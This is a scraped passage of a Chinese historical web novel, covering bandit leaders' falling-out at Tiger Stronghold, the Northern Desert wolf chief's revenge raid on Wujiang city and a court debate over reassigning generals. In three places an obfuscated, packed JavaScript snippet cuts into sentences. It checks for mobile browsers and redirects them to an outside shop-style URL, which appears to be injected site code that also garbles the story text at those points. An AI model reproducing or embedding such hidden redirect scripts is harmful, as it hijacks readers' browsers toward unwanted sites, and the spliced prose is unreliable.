齐威虎头回带人与官兵们当面对上还得胜归来,兴奋地有些忘乎所以,堂下喽啰见他高兴,也激动地忘却了一夜未眠的困意,大清早的就开始坐席胡吃海喝。 “咚!” 聚英堂门被人一脚踹开,两扇木门在内忽闪摆动时,初暒满脸怒气的走了进来,冷声质问,“大当家的设宴,怎的也不通知小弟一声,怎么,是席面太好怕我贪吃?还是怕消息走漏我会坏大当家好事?” 初暒前几日虽说身体不适在房中休养,但举寨埋伏官兵怎么说都是关乎威虎寨全员性命的大事,当家的们不可能不在一处商量好就命他们这些喽啰动手的,但直到初暒冷脸踹门而入的此刻,堂内众人才晓得,大当家的夜里派他们出去埋伏,这二当家的是真不知情啊…… 初二当家忽然进来兴师问罪,堂内众喽啰看见她不由纷纷生出一种偷腥回来被正主逮了个正着的窘态,他们笑意哽在嘴边,举碗碰壁的手收回不是,放下也不是。 大家都不说话,聚英堂内有些尴尬,初暒却像是觉察不到这种尴尬似的,只冷冷盯着坐在堂上宝座,屈腿仰头饮酒的齐威虎。 “初老弟身体不舒服,就该躺在屋里好好歇着,我心疼你先前劳累,特意不让手下扰你清静。”齐威虎不咸不淡,丝毫不将初暒的怒气放在心上,像是为了再将她眼中的怒火扇的再旺些似的,继续说,“既然你身子已经大好,那便入席与兄弟们一起庆贺与官兵首战告捷吧,来人,给你们二当家的腾个位置。” 两位当家的之间气氛不对,堂内土匪没一个敢动弹,齐威虎将手中酒碗砸下来,喝道,“都聋了不成!” 酒碗瓷片弹在初暒脚边,她冷笑一声,“大当家的眼里容不下我,又何必将气撒在手下兄弟身上。” “初兄弟这话从何说起,不过是昨夜我接到官兵趁夜奇袭黑鹰岭的信儿时太过突然,因而来不及与初兄弟商讨,只得带人匆忙应对。”齐威虎起身居高临下道,“若不是兄弟们反应及时、动手利落,黑鹰岭早被山下官兵歼灭,初兄弟你此时也没命在此处与我叫嚣,你不说恭贺我们拿下首胜,反而一副谁都对不起你的模样,倒叫我这做大当家的看起来里外不是人了。” 初暒气急,“你带人趁夜埋伏官兵,正面与朝廷作对,还敢称之为首胜?如今黑鹰岭具体方位已然暴露,若官兵们昨夜在尔等埋伏中出现伤亡、引起百姓震怒,你猜朝廷会不会派重兵上来踏平黑鹰岭,团灭众土匪!齐威虎,我费那么大劲儿替你拿下虔来山,可不是让你这么糟蹋这山里好不容易才聚起来的诸位兄弟的!” 被初暒当面指摘,齐威虎心中愤恨,面上却不怒反笑,“原先听有人说你吹嘘‘连夺三寨都是你二当家初暒的功劳’我还不信,到今日才发现这话确实像你能说出口的,初兄弟不如仔细想想,若没有我齐威虎扶持,你光杆一个如何能替我拿下虔来山?” 初暒:“话已经说到这个份上,你不必再明知故问,既然大当家心中有数,自觉已经坐稳四寨,那我这二当家还赖在黑鹰岭也实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888142|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在多余,正好我初暒之志本不在此,我们好聚好散,今日就权当是今生最后一面吧。” 她说完转身就走,堂内静默至今的一些土匪喽啰见状连忙起身挽留,“二当家的这是不要我们了吗!” 初暒脚步一顿,驻足回首才看明说话的都是从豹子山出来一路跟着自己灭刀客谷、夺黑鹰岭那些人。 原地斟酌片刻,初暒再次看向齐威虎,凝声强硬道,“为威虎寨连夺三寨,我没有功劳也有苦劳,其中所获金银财帛我分文不取,但从豹子山带出来的那些兄弟,我要带走。” “你这是想与我分家?”齐威虎冷笑一声,“做梦!” 齐威虎气焰嚣张,将翻脸无情四个字明明白白写在脑门上,伍二在门边察觉沉默站在角落的楚六神情不对,下意识抬手握住佩刀刀柄。 而下一瞬,他果真听见堂上齐威虎声含杀意,说,“银钱我不会给你,人你也无需惦记,你即知晓虔来山四寨方位,又熟悉我威虎寨中大小事务,竟还妄想我会规规矩矩的将你放走,真是愚蠢至极!你居功自傲、忘恩负义,山下官兵如今正对我们虎视眈眈,而你却妄图挑拨离间我威虎寨众兄弟分家拆伙,其中歹毒祸心真是连藏都不藏了!来人,将初暒捆进山牢,严加看管!” “是!” 楚六应声,带几人向他们围去,伍二立刻拔刀堵在初暒身前,一一扫视过堂内众人,怒斥,“谁敢动我当家!” 他亮了家伙,聚英堂中以楚六为首的若干喽啰瞬间‘铮铮’抽出立在自己脚边的大刀正对他俩,而方才出声喊住初暒的那些土匪见敌我阵营已经分明,也不见丝毫犹豫的与他们拔刀相向。 “我还当甘愿拜倒在你脚下的叛徒数不胜数呢。”齐威虎立于堂上看着站在初暒身前护着她的十数土匪,嘲讽,“也不过如此。” 像是料到今日这幅场景早晚发生,齐威虎不慌不忙的抬起双手‘啪啪’拍了两掌,“进来罢!” 他话音刚落,聚英堂外便立刻涌来一队全副武装的土匪喽啰,姜九面露沉重的上前与初暒低语,“二当家的,寨中其他兄弟已投靠在大当家手下,我不愿出手伤您,也不愿看兄弟们自相残杀,还请您不要做无谓挣扎,与我束手就擒吧!” 伍二背对着他大吼,“跟着齐威虎这种贪天之功,无耻之尤的小人有何前程可奔!兄弟们握紧手中大刀护好初二当家的,咱跟他们拼……” 肩上忽然被人轻轻拍了两下,那手拍完伍二后仍旧搭在他的肩膀,像是在安抚,伍二没有回头,只是愤恨不甘的慢慢松了自己握刀手掌的力道。 “前后夹击,再如何反抗也是白费力气。”初暒放下自己搭在伍二肩上的手,略带愧疚的与护在自己身前的兄弟们说,“我不值当诸位兄弟这般舍命相护,大家都放下刀吧。” “哈哈哈……” 齐威虎得意大笑,“快瞧瞧你们追随的初二当家是什么软蛋,这点架势就将他吓成这样了,姜九,你磨蹭什么,还不快些将他们绑了!” 姜九抱拳应声,挥手让手下捆住丢了刀的众多兄弟,他自己则亲自取来绳索将初暒反手绑住。 方才剑拔弩张的大堂到此时终于尘埃落定,齐威虎满意的看着自己的杰作,高声唤道,“这场热闹你可还看得满意?” “热闹有余,血气不足,若齐大当家再削几个人头与我耍耍,我或许会更满意。” 说话之人只闻其声,不见其人,被捆住的小喽啰们都在往外张望,可初暒却只是气定神闲的缓缓转过身径直与门外闲庭信步款款现身那人的鹰眼对上,“我说齐威虎今日这腰杆怎么这么硬,原是你挑唆他激怒我而后与我决裂啊。” “这虔来山中,处处是青山。” 燕山鹰在聚英堂门前站定,齐肩短发便立时在晚秋的清晨里被风扬起,他仰起头密缝着眼,挑衅般看着初暒,说—— “青山不就我,我来就青山。” 94. 狼王 虔来山中,众土匪争权夺势、风起云涌,而虔来山下的中北大地,自一年多前慕峰青在映月关大败北漠劲敌后各地就一直风平浪静,再无波澜。 北漠在映月关一战中大伤元气,只能偃旗息鼓、狼舔孤伤,中北亦趁此时机奋力恢复生产,承农启工,百姓们在局势的推动下从连年战火与生灵涂炭的噩梦中清醒过来,也一头扎进自己面前日渐繁荣兴旺的光景之中。 带着塔鲁阿茶尸体回乡的宝颜巴特走过在战争结束后迅速发展、重燃生机的中北疆界,心中涌现的羡慕又在他眼前翕然出现的那片一望无际、寸草不生的荒漠中化作了嚼穿龈血的妒忌。 狂风肆意怒号,黄沙漫天飞卷,细小砂砾前赴后继的扑在前行中的人与马身上,他们睁不开眼,暴露在衣物之外的皮肤也被砸的又痛又痒。 宝颜巴特在暴风中走得很慢,他用胳膊挡在自己面前,紧握着侧首避风的马儿颈部缰绳,在黄沙中拔腿一步步走向前方朦胧昏黄的硕大圆顶帐篷。 像是有人已经在那里面等待很久,宝颜巴特赶到目的地时还未站稳,整个人就被从中冲出来的两个大汉一左一右钳住后拖进去丢在地上。 汉子们力大如牛,宝颜巴特的脑门在被地面撞击的眼冒金星时,余光里猛然瞥见一道如同高山一般巍峨雄壮的身影,不等脑袋反应,他的身子先下意识跪着匍匐到那道身影脚边,哆哆嗦嗦的将右手贴在左胸前低头行礼。 “狼…狼主……宝颜巴特办事不利,没在中北取回粮食,还…还…还弄丢了公主……”说到此处,宝颜巴特放下捂在胸前的手惊惧地以头抢地,“奴知罪!求狼主惩罚!求狼主惩罚!” 被宝颜巴特称作狼主的高大汉子蓄力抬腿,一脚将他踹出老远,宝颜巴特没有受住硬生生落在自己胸肩的凶猛力道,闷哼一声后无力地伏在地上,扭曲着因为疼痛而变形的五官,‘噗’的喷出一口从胸口涌上来的鲜血,失神低吟一句,“狼主……” 跟随自己多年的奴人老狗一般趴在地上,面目狰狞,嘴角还扯着猩红血丝,可塔鲁阿卓心中并未生出丝毫恻隐,他缓步走到宝颜巴特身边,冷冷地看着这个苟延残喘的汉子而后又是用力一脚将他的脑袋踩在地上碾挫。 宝颜巴特的脸颊紧贴着地面,绵密却十分坚硬的地毯绒毛将他一只耳朵硌得生疼,长途跋涉已经耗去他所有体力,而这些暴行又夺去他为数不多的元气,宝颜巴特已无力狡辩反抗,只能眯着自己沉重的眼皮任由他的狼主发泄那滔天的愤怒与不满。 “映月关一战,我北漠狼军以多败少,损失惨重,本就在中北失去了脸面,你可知我下了多少狠心才决意将自己最珍视的女儿送给中北,以求能从他们手中换取可供我族人熬过艰寒冬日的活命粮食,可你失责!丢了公主一条性命,还被中北玩弄在股掌之中!” 塔鲁阿卓狂躁的在帐中奔走,怒吼,“粮食三百石!三百石粮食!中北真把我们北漠狼族当做叫花子一般打发了!” 帐中咆哮之声震天响地,帐外小奴打完一个寒颤才敢进去复命,“禀报狼主,此物便是阿茶公主寻见的虔来山产出矿石。” 塔鲁阿卓闻言立即接过小奴手中石块仔细查看。 石块两拳大小,入目一团灰黑,若不说这是矿石只怕路过的人看都不会看它一眼,塔鲁阿卓问,“这东西你们可曾清洗过?怎的上面不见多余泥土?” “奴们不敢妄动,阿茶公主将两块矿石快马送回时便是这般模样了。”小奴想了想,问,“我们不识真假,不如奴去请孔先生来此处辨认?” 塔鲁阿卓:“中北虔来山中有矿产的消息已经传开,自然有人替我去辩真假,另一块矿石可顺利送出?” “是,给您传回公主成事消息当日,奴们便同时将此物送给那位了。” 小奴语毕,塔鲁阿卓却忽然觉得不对,他甩掉手中矿石一把掐住答话小奴的脖子,阴狠质问,“你们何时传回过公主成事消息?” 小奴喉咙被扼住,脸色立即憋得通红,他仰着头以便从喉咙中挤出声音来,“被中北…接见使臣…安置进晁都偏僻驿站不久……” 塔鲁阿卓示意一眼沉默立在帐帘左右其中一个高大汉子,那汉子心领神会的颔首后很快就在帐中案几上找到一封夹着狼毫的书信。 松开已经开始翻白眼的小奴,塔鲁阿卓接过汉子捧来的书信,说,“复述你那时传回的消息。” “咳咳……奴上书‘公主虔来之事既成,却音信忽失,不知安危,此事反常,下何从,乞指示,故园念切,梦寐神驱,盼复’。”小奴沙哑的声音里难掩疑惑与委屈,“奴等传出书信后,久不见狼主复信,恐误您大事也不敢在中北轻举妄动,哪知他们趁此时机找到阿茶公主的遗体又将其当做把柄与我们在钱粮一事上讨价还价……” “混账东西!” 塔鲁阿卓反手抽了胡乱攀咬的小奴一巴掌,那小奴被打得耳朵嗡嗡、牙齿松动,他听不见狼主在对自己呼啸什么,只捡起他砸在自己脸上的信封,懵懂迟缓的展开书信浏览。 ‘公主虔来之事未成,安,勿念。’ 书信上确是他的字迹,可上书内容却将小奴倏地惊得清醒过来,脑门冷汗如暴雨般哗哗直流。 未成? 勿念! 小奴顾不得火辣生疼的牙齿与肿胀的脸颊,只扑倒在地对着塔鲁阿卓疯狂喊叫饶命,“有人……有人截获了奴的书信!并在原句中提取几字篡改了奴的意思!中北!中北或许早有人盯着我们一举一动了……奴愿意查出此人为阿茶公主报仇,求狼主……唔……” 小奴希冀的眼眸才刚抬起,他的脖子就被瞳孔中映照那人轻轻拧断,帐中两名值守汉子将尸体抬出帐外,不一会儿,风中便传来狼群争食生肉、撕扯呜咽的声音。 “我的狼崽们已经饿了许多天,可分不清抛给他们的吃食是死物还是活物,若还不起来与我解释,那葬身狼腹便也是你的下场。” 塔鲁阿卓言毕,被踩晕又醒的宝颜巴特徐徐挣开双眼,捂着胸腹挣扎着站起,虚弱说,“送出矿石不久,奴在驿站见到了幽王!而后中北朝廷与奴等对峙拉扯公主身故责任时,也是那位幽王在其中斡旋。” “竟是他!”塔鲁阿卓握拳的双手微微颤抖,“我有意与他修好,他却将我摆了一道!” 宝颜巴特心中亦气愤不已,“若此信原件寄出,狼主察觉不对定会派兵中北强令要人,可幽王却修改信件欺瞒狼主并拖延奴等在晁都逗留时日,趁机搜查阿茶公主踪迹,只等找到公主遗体后再巧言威胁奴,让北漠吃下这个哑巴亏,可奴想不通……我阿茶公主机敏聪慧,潜入中北时又易来人容,怎会被人认出还惨遭歹人毒手?” “北漠若与中北交好,你猜谁会忧心的睡不着。” 宝颜巴特恍然,“南夷!” “前些年我与中北打的水深火热,均无暇他顾,南夷便借此机会左右摇摆、潜滋暗长,到如今居然敢大摇大摆的住到人家的虔来山里去了。”塔鲁阿卓问,“慕峰青近日还在虔来山剿匪?” “是,奴回来时曾听中北百姓议论过此事。” “慕峰青被调离疆界,正是我狼军为所欲为的大好时机!” “狼主是想……” “我的小公主无论死于谁手终究与他中北脱不了干系,凛冬将至,他们舍不得给我北漠活路,我塔鲁阿卓便亲自去抢!我倒要看看那位自作聪明砍了赔罪粮食的幽王该如何收场!宝颜巴特,着我命令,召狼军在帐外汇集,我亲自带众……” “父亲!” 一道清朗声音打断塔鲁阿卓,宝颜巴特循声看去,只见一位卓尔不群、气度不凡的俊美男子掀帐而入,“父亲,让我去为妹妹报仇吧!” 塔鲁阿卓看清来人,浑身怒气立时消减不少,口中却讥笑道,“你?” 男子大约十七八岁,他听懂父亲语气中的怀疑也不着急自证,只沉声说,“中北欺人太甚,北漠儿郎无一不想将其杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888143|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后快,况且父亲心中伟业亦是儿此生所图,儿愿意赶赴此行为父分忧!” 他义正言辞、不骄不躁,倒是让塔鲁阿卓深感欣慰,思索片刻他终于点头,“既如此,那就跟我一同去吧。” 父亲应允,男子漂亮的眉头终于舒展,他转身离去的某个瞬间,宝颜巴特忽然觉得他这浑身的气度自己好似曾在某一人身上也见到过。 看男子出帐回去准备,宝颜巴特又感叹一句,“多日不见,小狼竟变得如此沉稳老成,若狼主舍得放他出去多历练历练,往后他定然能够带领北漠狼族成就一番伟业啊!” 塔鲁阿卓冷哼一声,掩过自己心中泛起的忧虑,“狼主之位既不会在我手中静静等着他来拿,八方部落也不会乖乖等着他去统领,若他真看中我的位子,便须得由他自己来争来抢,我北漠狼族可没有世袭罔替的陋习!再说,他老子我还好好活着呢,纵使他真有那个野心,也须得乖巧听话的等我薨了!” 他声如洪钟,宝颜巴特低首下心的说,“狼主福寿无疆,狼族万世千秋。” 宝颜巴特被打得浑身是伤,站在原地颤颤巍巍的,好似一阵轻风都能将他吹倒,塔鲁阿卓念在他伴在自己身边多年,将他的肩膀扶起,故作语重心长,“我知中北那帮人狡猾,两面三刀,不论我委派谁过去都得被他们薅下一层毛,但是…北漠如今的状况你也知晓,我们…真是耽搁不起啊。” 宝颜巴特重又低头行礼,“奴明白!这错奴今后再不会犯,若奴食言,狼主亲自饲养的狼崽腹中便是奴的葬身之地!” “你好好养伤,其他事情我交予小狼去办便可。” 塔鲁阿卓说完,拍了拍宝颜巴特的肩头而后掀帐离开。 塞北的风沙将厚重的帐帘顶的左右翻飞,透过翻飞扑腾的帐帘缝隙,宝颜巴特静静看着塔鲁阿卓渐趋渐远的背影,抬手拂掉自己嘴角与耳边流出的鲜血。 狼舍中,渐趋瘦弱的狼王享受完窒息而死的食物后满意离开,它没有留心狼群角落中出现了一道紧盯着自己的锐利可怖的目光。 狼舍外,谁没有野心? 狼王老了,可是狼王对此一无所知。 两日后,中北东北部方向传来急讯,塔鲁阿卓率北漠狼军攻下武江城,屠杀城中百姓数千户,掠夺家畜粮食百余车,漠匪毁田烧屋,所过之处,尸骨累累、血水潺潺,百年之城顷刻间便比之人间炼狱。 无恩念完急讯,牙都快要咬碎,“主子,宝颜巴特一出中北疆界我们就秘密向沿途城关发出预警消息,可为何北漠还是能如此轻而易举地屠了一座城?” 薛霁立于窗前,注视着天边皎洁月亮,光晕清冷,衬的月亮越发深邃神秘,他不答反问,“武江城守城官员可还活着?” 无恩:“守城官员们因疏忽值守被北漠打了个措手不及,然,城破后他们却毅然带领百姓负隅顽抗、宁死不屈,最终均被漠匪分尸于在武江城城门之下。” “中北与北漠止战修养不过一年,边境城关便已经丧失枕戈待旦之心,做起了安居乐业的美梦,那些个守城官员死得其所,可百姓却何其无辜。” 无恩听懂主子的答复,点了点头又问,“急讯是否送去宫中?” “左佥都御史铁铭祖籍就在武江城,明日他自会向宫中呈报。”薛霁沉吟片刻,似乎想起什么,“虔来山近况如何?” “潘闯日前传信说,虔来山四寨合一,齐威虎生出异心与燕山鹰联手夺了初暒的权,并将她与其众手下关押起来,不过……属下看他字里行间不见焦急,还言说自己的二当家在山牢里有吃有喝、坦然自若,过的十分不错。” 无恩本想揶揄那丫头被关在牢里还能这般消闲,一偏头却瞧见主子侧颜温润,神色亦柔和许多。 薛霁从怀中取出鹰隼之前带回的那张涂涂改改、写有两人字迹的布片,用指腹轻轻摩挲着刚劲飘逸的最后一句,道—— “她那头已万事俱备,接下来的事该轮到本王去做了。” 95. 调令 不出薛霁所料,一大清早就收到家乡父老亲友传来求救消息的铁铭手足无措的套上官服,脸都来不及洗,便匆匆忙忙的进宫扑倒在金銮大殿中嚎啕大哭。 “漠匪丧尽天良,在武江城中烧杀淫掳无恶不作,他们屠杀臣家乡百姓数千户、掠夺家畜粮食百余车,北漠匪贼狼子野心,屠戮无辜,百姓涂炭,臣斗胆进言,恳请陛下速派精兵强将,荡平寇乱,以拯危局保国家安宁!” 此言一出,殿中大小官员一片哗然,他们怎么也想不到,映月关一战北漠才在中北手上吃过大亏,居然这么快就敢在边境张狂妄行了。 梁崇元坐在殿前以拳心叩响桌面止住铁铭嚎啕与众人议论,“铁大人家乡遭难,我知你困苦悲愤,但你身为朝廷重臣,在此时更需振作精神。” 铁铭呜咽答是,柳思无与赵无祸伸手将他从地上扶起后,又听梁相说,“武江城遭此大难,我心亦痛,但此事重大,诸位切不可自乱阵脚,当务之急还是先商讨派哪位能臣赶赴武江城,指挥作战反击漠匪,抚恤受灾民众,复起屋庐。” 北漠侵扰中北边境城关,朝廷要找人去领兵作战,此事是兵部分内,王启沉吟片刻抱拳出列,答,“臣以为宣威军副将齐潇旭可担此重任!” 齐潇旭? 这个名字铁铭听着耳熟,但一时想不起来在何处听过,他低头疑惑看向柳思无,小声问,“姓齐?” 柳思无:“宣威军齐震啸将军的长孙。” “镇守在东南部的那位小将?”铁铭急了,低语,“他才多大岁数!毛长齐了没有王尚书就要让他去对北漠!” 他作势就要反驳,被柳思无摇摇头拦住,铁铭不明白他为何阻拦,却听见身前有人先自己一步开口反对,道,“武江城位于中北东北方向,先不论齐家小将才能如何,就是从南到北的路程也叫人望之兴叹了,王大人就算不体谅宣威军携辎带重、长途跋涉,也该想想深陷战火,亟待朝廷救助的武江城百姓能不能等得及!” 此言有理,梁崇元颔首问,“赵大人心中可有合适人选?” 赵无祸像是等人发问多时,一闻梁相言,便立即拱手出列报出早在自己后齿根嚼烂的几个大字,“赤霄军大将慕峰青。” 一听要寻人打仗,赵大人双眼就直冒金光,众人早习惯他巴不得慕峰青战死沙场的模样,也没有多说什么,赵无祸看无人辩驳,推举的越发有劲儿,“都说慕小将军是为国征战的大将军,他多活一日,便能多震慑边境小贼一日,如今边境危急,正是他为朝廷鞠躬尽瘁、大显身手的时机啊!” 慕维之左右不见有人为子发声,焦灼提醒,“虔来山匪患尚未根除,犬子…犬子恐无暇担此重任,烦请诸位大人另择人选。” 慕峰青带兵在虔来山下蹲守数日,吓得山中土匪再不敢兴风作浪,乖巧地几乎让大家忘了中北内部还有剿匪这茬,慕维之这时提起此事,立即有人附和,说,“臣听闻慕将军在山底驻军,震慑的土匪山寨不得不自相残杀、死地求生,而如今虔来山中四寨已经合为一家,正是将其一网打尽的关键时期,若朝廷此时将慕将军调离,那窝土匪没了畏惧又一家独大,往后定然会成为中北内部的心腹大患!” “是啊,臣也见兴民城知州白向福来信上书,慕将军运筹帷幄、神机妙算,不费一兵一卒就将被黑鹰岭土匪掳去的百余无辜百姓平安解救下来,兴民城上下无不对其感恩怀德,而今虔来山内患未平,若贸然将慕将军外调,恐怕会使兴民城好不容易才稳下的民众重又怨声载道。” 自己提的人选被同僚接二连三的否决,赵无祸想出言辩驳,奈何又无法强词夺理,正默生暗气时,忽听侧后方有人悠悠一句,“虔来山剿匪也不单是慕将军一人之责,王尚书此前大力举荐为他添翼的幽王殿下可什么力都没有出过呢。” 柳思无能从户部右侍郎提到左侍郎,其中大半功劳都是沾了幽王的光,他这会儿不咸不淡着阴阳怪气的提起幽王也不知在盘算什么。 “幽王身子不好,平日里不是外出求医就是窝在府邸养病,眼下快要入冬,天气也渐渐寒冷起来,他更是一步都不愿意在外多走了,能出什么力呢。” 有人不满,答,“你不惦念遭了难的武江城百姓死活,倒忧心养尊处优的清闲亲王贵体,真是咸吃萝卜淡操心。” “你……” 话头转移到幽王身上,殿中有官员冷嗤一声,“那时若不是他私自将告慰北漠使臣的粮食减到三百石,塔鲁阿卓也不会被逼的狗急跳墙在武江城下此狠手了,以微臣所见,若将慕将军调至武江,那虔来土匪余孽须得交由幽王善后,以将功赎过!” 这话中结果是赵无祸心中所想,可是其中意思却让人听着不舒服,他辩驳说,“北漠公主死在中北,那宝颜巴特在殿中撒泼打滚时,诸位吓得是大气都不敢出,若不是幽王在其中巧舌如簧、决策转圜,平息了使臣怒火,减少了晁都钱粮损耗,朝廷恐怕这会儿还在被不知世务的百姓们戳脊梁骨呢!” “哼!送走使臣立功时都想跟着沾人家的光,翻起旧账时一个两个手里的黑锅又擦得比铜镜还亮,真是有辱斯文……” 赵无祸大声为幽王辩驳完,又小声嘀咕一句,他身旁几位官员瞧见这位老匹夫又开始蛮横攀咬都不愿再多嘴触他的霉头。 武江城事态紧急,朝中大臣们商议半晌却连一个能撑起门户的人都选不出来,坐在龙椅的薛渊身姿板正,可手心却被自己扣出血来,他恨不能亲自带兵杀漠匪、安百姓,可心中再恨又能如何,他坐在金銮大殿龙椅宝座,连嘴都不能张开一瞬。 像是察觉堂上焦灼目光,梁崇元偏头向上看过一眼,深思许久之后,他终于开口道,“李内侍拟旨,命赤霄军慕峰青即日起赶赴武江城反击北漠狼军,抚恤受灾民众,加强边防,以安黎民,彰显我大国之威。命幽王薛霁接替慕峰青虔来山剿匪事宜,期间一应事务,享便宜行事之权。” 慕峰青前些年一直在同北漠交手,派他赶赴武江城实乃上上之举,而将虔来山剿匪一事交付给薛霁,仔细想来似乎有些许不妙。 毕竟虔来山底下埋着什么东西,众人心知肚明,那山若打不下来便不说什么,可万一真叫他打下来了,不是把肉包子丢在狼狗眼前么…… 李善仁将起草完毕的诏书捧给梁相过目,得他颔首示意后才拿去依次给六部尚书审阅,最后诏书传至薛渊手中,他握起宝玺于诏书末尾拓印完毕,目送内侍携旨离去。 至此,武江城与虔来山责有所归。 调令已下,尘埃落定,再多言亦无济于事。 梁崇元在内侍的搀扶下徐徐站起,道,“无事便退朝罢。” 殿内百官皆颔首齐声答是。 他们恭送小皇帝与梁相离去,三三两两结伴而出。 铁铭在与同僚出宫途中接过柳思无递来的帕子,抹去自己脸上的泪痕,说,“多亏你提醒众人虔来山剿匪也有幽王的份,不然中北还真腾不出小慕将军这把尖刀,其实我私心也是想让慕将军带兵去武江城救我父老乡亲的,可又实在忧虑被虔来山土匪祸害的兴民城百姓,毕竟慕将军在虔来山剿匪多久,那幽王就在府中抱病不出多久,将剿匪一事交给他,也不知道于百姓来说,是福是祸……” 柳思无打断铁铭的哀哀怨怨,搭着他的肩膀将其拉走,“旨意已下,是福是祸都得受着,你有空忧虑这些,不若随我去户部搭手武江城赈济粮筹备事宜,也算你为自己的家乡出一份力了。” “哎哎行知兄你我这般勾肩搭背像什么样子……谨记雅正!雅正啊……” 金銮大殿外有双眼睛目送铁铭与柳思无拉拉扯扯走远,那双眼睛里有凌厉也有愤恨,直到身后忽然传来的脚步声逐渐清晰,他才收回眼中的凌厉与愤恨,转身看清来人后恭敬低头拱手,“许尚书。” 来人是礼部尚书许尧白。 这位许尚书为人做官都十分低调谦和,虽已过不惑之年,眉眼间却不见丝毫风霜,他仪表堂堂、风姿绰约,若不是官服在身,只怕有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888144|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人会将他认作是仙风道骨的仙人。 “朝堂之外,不必多礼。” 许尧白走上前与慕维之并肩,他望着金銮殿外再无春夏繁荣风光的前庭,任由萧瑟秋风逗弄翻扯着身上衣袍。 “慕大人为官和善、兢兢业业,令郎又英勇善战、声名赫赫,你们父子俩一个擅文一个能武,真是羡煞旁人。” 许尧白发妻早亡,不曾留下一儿半女,可他情深,至今不肯续弦,慕维之听出上司口中羡煞不似作假,忙谦卑回道,“许大人谬赞,下官实在惶恐,为人父母者,不求儿女显贵,只愿他们一世安稳,可世事无常哪能尽如人所愿,孩子们在外为前程奔波,倒让做父母的在家中为他们忧劳,若年华能从头来过,还不若无子方得一身自在。” “你这话可切莫让家里夫人听去,省落得一通埋怨。”许尧白失笑一瞬,而后安慰他说,“映月关那一战令郎不鸣则已,一鸣惊人,北漠早在慕小将军的赤霄军刀下吃过苦头,再见他时还不知会哆嗦惶恐成什么模样,慕大人不必为子忧心,慕小将军虽年纪尚轻就肩负朝廷重任,可凭他的本事此次定然能事毕安归,平安无虞,慕大人若是信我,得空还是想想令郎得胜归来后,你寻哪家酒楼设席庆贺为要。” 慕维之颔首,“那便借许尚书吉言了。” 安抚完慕维之,许尧白说回正事,“边境被漠匪侵扰的消息今日已传回晁都,估摸不多时便会人尽皆知,百姓们向来闻战色变,听到此信必定惶恐不安,我以为礼部当思良策,以安民心,激民志,振军气,不知慕大人有何高见?” 慕维之想了想,答,“下官不才,然愿献一得之愚,以供参考,若尚书大人不弃,愿闻其详。” 许尧白:“你直言便是。” “下官以为可在宫中社坛祈天,告以国家之难,求神灵庇佑,使百姓心安,再将犬子带兵前往武江城平定祸乱之檄文,布告四方,说明漠匪之恶,彰我国威,使民众知国家之决心,激其同仇敌忾之志,而后遣使者至军中,传朝廷慰劳之意,嘉勉将士之勇,鼓舞士气,军中闻之,必士气大振,奋勇杀敌,以报国家之恩,如此,则民心可安,民志可激,军气亦可振。” “此法甚好!” 许尧白闻言大悦,他拍拍慕维之的肩膀,“我稍后便将慕大人所言如数上书梁相,慕大人思维敏捷,每有决策,皆能洞察先机,实乃朝廷之瑰宝也!” “尚书大人过奖,下官愧不敢当。” 慕维之一副谨小慎微的模样,许尧白也不在意,他拂袖背手,道,“我还有其他公务,就先行一步了,慕大人自便罢。” “是,下官恭送尚书大人。” 两人在前庭分道而行,一直在金銮殿外洒扫的一位内侍太监看他们离去,不动声色的抬眼四下看了看,等确认无人关注此地后,迅疾抱着手扫帚转身离去。 内侍扫在一堆的枯黄落叶被风带走,秋风一路将它赶进宫外奢华车辇的华贵窗槽,无恩拂掉卡在车窗的树叶,轻手放下帷幔,以防萧瑟秋风溜进来加重主子病体。 “主子,宫中传来消息,礼部尚书许尧白上书梁相,举荐左佥都御史铁铭随慕峰青一同赶赴武江城,以安抚百姓、嘉勉将士传朝廷慰劳之意。”无恩顿了顿,继续说,“听说这法子和随军人选都是礼部郎中慕维之提的,也不知为何,慕峰青去哪儿他那老子都要给他寻一个伴儿,跟个没断奶的孩子似的。” 薛霁将手下送回来的朝会纪要随手搁在案几,拢了拢搭在肩上的薄衫,才道,“铁铭是武江城人士,有他在场,安抚百姓、援建屋舍、赈济伤民诸事都不需要慕峰青操心,慕大人为了儿子也是费了一番苦心。” 无恩撇撇嘴,忽然想起什么,问,“对了主子,管家方才差人来说,调您前往虔来山剿匪的旨意已经到了,咱们何时回府接旨呢?” 薛霁挑开马车帷幔,瞧见徘徊在不远那座宅院前的女子身影时,悠悠一句—— “本王要见个人,让他们等着罢。” 96. 墨迹 安南书院被土匪放火烧毁后,吴所仕便给书院学子们放了长假。 